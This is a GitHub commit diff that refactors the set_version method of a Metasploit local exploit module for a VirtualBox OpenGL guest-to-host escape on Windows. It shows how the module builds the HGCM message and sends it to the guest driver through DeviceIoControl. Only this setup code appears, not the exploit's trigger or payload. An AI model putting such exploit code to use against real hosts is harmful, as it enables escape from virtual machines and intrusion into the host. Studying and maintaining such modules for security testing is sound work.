Skip to content

Commit 486b552

Browse files
committed
Refactor set_version
1 parent d959aff commit 486b552

File tree

1 file changed

+11
-23
lines changed

1 file changed

+11
-23
lines changed

modules/exploits/windows/local/virtual_box_opengl_escape.rb

Lines changed: 11 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -169,32 +169,20 @@ def set_pid(pid)
169169
end
170170

171171
def set_version
172-
info = "\x00" * SET_VERSION_MSG_SIZE
172+
msg = "\x00" * SET_VERSION_MSG_SIZE
173173

174-
info[0, 4] = [VERR_WRONG_ORDER].pack("V")
175-
info[4, 4] = [@client_id].pack("V") # u32ClientID
176-
info[8, 4] = [SHCRGL_GUEST_FN_SET_VERSION].pack("V")
177-
info[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V")
178-
info[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
179-
info[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V")
180-
info[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
181-
info[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V")
182-
183-
ioctl = session.railgun.kernel32.DeviceIoControl(@handle, VBOXGUEST_IOCTL_HGCM_CALL, info, info.length, info.length, info.length, 4, "")
184-
185-
if ioctl["GetLastError"] != 0
186-
fail_with(Failure::Unknown, "Something wrong while set_version")
187-
end
188-
189-
unless ioctl["lpBytesReturned"] && ioctl["lpBytesReturned"] == SET_VERSION_MSG_SIZE
190-
fail_with(Failure::Unknown, "Something wrong while set version")
191-
end
174+
msg[0, 4] = [VERR_WRONG_ORDER].pack("V")
175+
msg[4, 4] = [@client_id].pack("V") # u32ClientID
176+
msg[8, 4] = [SHCRGL_GUEST_FN_SET_VERSION].pack("V")
177+
msg[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V")
178+
msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
179+
msg[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V")
180+
msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
181+
msg[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V")
192182

193-
unless ioctl["lpOutBuffer"] && ioctl["lpOutBuffer"].unpack("V").first == 0
194-
fail_with(Failure::Unknown, "Something wrong while set version")
195-
end
183+
result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
196184

197-
true
185+
result
198186
end
199187

200188
def trigger(buff_addr, buff_length)

0 commit comments

Comments
 (0)